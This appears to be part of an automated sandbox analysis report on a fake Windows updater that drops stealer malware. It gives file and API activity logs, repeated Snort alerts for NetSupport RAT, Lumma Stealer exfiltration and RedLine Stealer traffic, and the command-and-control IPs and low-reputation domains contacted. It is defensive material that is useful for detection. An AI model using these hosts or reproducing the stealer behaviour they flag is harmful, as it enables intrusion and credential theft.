Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: z:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: x:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: v:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: t:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: r:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: p:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: n:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: l:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: j:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: h:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: f:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: b:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: y:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: w:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: u:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: s:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: q:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: o:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: m:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: k:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: i:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: g:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: e:
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: c:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File opened: a:

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_10003A90 FtpSetCurrentDirectoryW,FtpFindFirstFileW,InternetFindNextFileW,InternetFindNextFileW,InternetCloseHandle,	4_2_10003A90
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002B6160 FindFirstFileW,GetLastError,FindClose,	20_2_002B6160
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002D9090 FindFirstFileW,FindClose,CloseHandle,CloseHandle,CloseHandle,CreateEventW,CreateThread,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	20_2_002D9090
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001CF3C0 FindClose,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,_wcsrchr,_wcsrchr,	20_2_001CF3C0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002B5B90 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,GetFileAttributesW,FindNextFileW,	20_2_002B5B90
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002D9F30 FindFirstFileW,FindClose,	20_2_002D9F30
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002E2330 FindFirstFileW,FindClose,	20_2_002E2330
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002F4630 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,	20_2_002F4630
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002C2ED0 FindFirstFileW,FindClose,FindClose,	20_2_002C2ED0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002B5800 _wcsrchr,FindFirstFileW,FindFirstFileW,FindFirstFileW,FindClose,FindClose,_wcsrchr,	20_2_002B5800
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002B7910 FindFirstFileW,FindClose,	20_2_002B7910
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_0029BD30 FindFirstFileW,FindNextFileW,FindClose,	20_2_0029BD30
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002E1F30 FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,	20_2_002E1F30
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_002D5F70 FindFirstFileW,FindClose,	20_2_002D5F70
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A5651D0 FindFirstFileW,FindClose,GetLastError,FindClose,	20_2_6A5651D0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A55B570 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,_wcsrchr,_wcsrchr,	20_2_6A55B570
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A583F55 FindFirstFileExW,	20_2_6A583F55
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_0006D7C0 GetLastError,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindClose,	28_2_0006D7C0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000EF4F9 FindFirstFileExW,	28_2_000EF4F9
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004FD7C0 GetLastError,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindClose,	31_2_004FD7C0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_0057F4F9 FindFirstFileExW,	31_2_0057F4F9

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Code function: 20_2_002E0F00 _wcschr,_wcsrchr,_wcsrchr,GetLogicalDriveStringsW,GetDriveTypeW,Wow64DisableWow64FsRedirection,Wow64RevertWow64FsRedirection,

20_2_002E0F00

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2047660 ET MALWARE Win32/TrojanDownloader Variant Activity (GET) 192.168.2.5:49705 -> 104.21.52.223:80
Source: Traffic	Snort IDS: 2827745 ETPRO TROJAN NetSupport RAT CnC Activity 192.168.2.5:49718 -> 95.142.47.11:1203
Source: Traffic	Snort IDS: 2839343 ETPRO MALWARE InnoDownloadPlugin User-Agent Observed 192.168.2.5:49730 -> 159.223.29.40:80
Source: Traffic	Snort IDS: 2834928 ETPRO MALWARE Observed Suspicious UA (AdvancedInstaller) 192.168.2.5:50126 -> 157.230.96.32:80
Source: Traffic	Snort IDS: 2839343 ETPRO MALWARE InnoDownloadPlugin User-Agent Observed 192.168.2.5:50133 -> 37.1.198.251:80
Source: Traffic	Snort IDS: 2839343 ETPRO MALWARE InnoDownloadPlugin User-Agent Observed 192.168.2.5:50187 -> 37.1.198.251:80
Source: Traffic	Snort IDS: 2855505 ETPRO TROJAN Lumma Stealer Related Activity 192.168.2.5:50196 -> 104.21.83.145:80
Source: Traffic	Snort IDS: 2048093 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Check-In 192.168.2.5:50196 -> 104.21.83.145:80
Source: Traffic	Snort IDS: 2048094 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration 192.168.2.5:50196 -> 104.21.83.145:80
Source: Traffic	Snort IDS: 2048094 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration 192.168.2.5:50240 -> 104.21.83.145:80
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50245 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50246 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50247 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50248 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50249 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50250 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50251 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50252 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50253 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50254 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50255 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50256 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50257 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50258 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50259 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50260 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50261 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50262 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50263 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50264 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50265 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50266 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50267 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50268 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50269 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50270 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50271 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50272 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50273 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50274 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50275 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50276 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50277 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50278 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50279 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50280 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50281 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50282 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50283 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50284 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50285 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50286 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50287 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50288 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50289 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50290 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50291 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50292 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50293 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50294 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50295 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50296 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50297 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50298 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50299 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50300 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50301 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50302 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50303 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50304 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50305 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50306 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50307 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50308 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50309 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50310 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50311 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50312 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50313 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50314 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50315 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50316 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50317 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50318 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50319 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50320 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50321 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50322 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50323 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50324 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50325 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50326 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50327 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50328 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50329 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50330 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50331 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50332 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50333 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50334 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50335 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50336 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50337 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50338 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50339 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50340 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50341 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50342 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50343 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50344 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50345 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50346 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50347 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50348 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50349 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50350 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50351 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50352 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50353 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50354 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50355 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50356 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50357 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50358 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50359 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50360 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50361 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50362 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50363 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50364 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50365 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50366 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50367 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50368 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50369 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50370 -> 77.105.136.3:81

Performs DNS queries to domains with low reputation

Source:	DNS query: sidemark.xyz
Source:	DNS query: false.apparelsilver.xyz
Source:	DNS query: send.planewool.xyz

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 1203 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
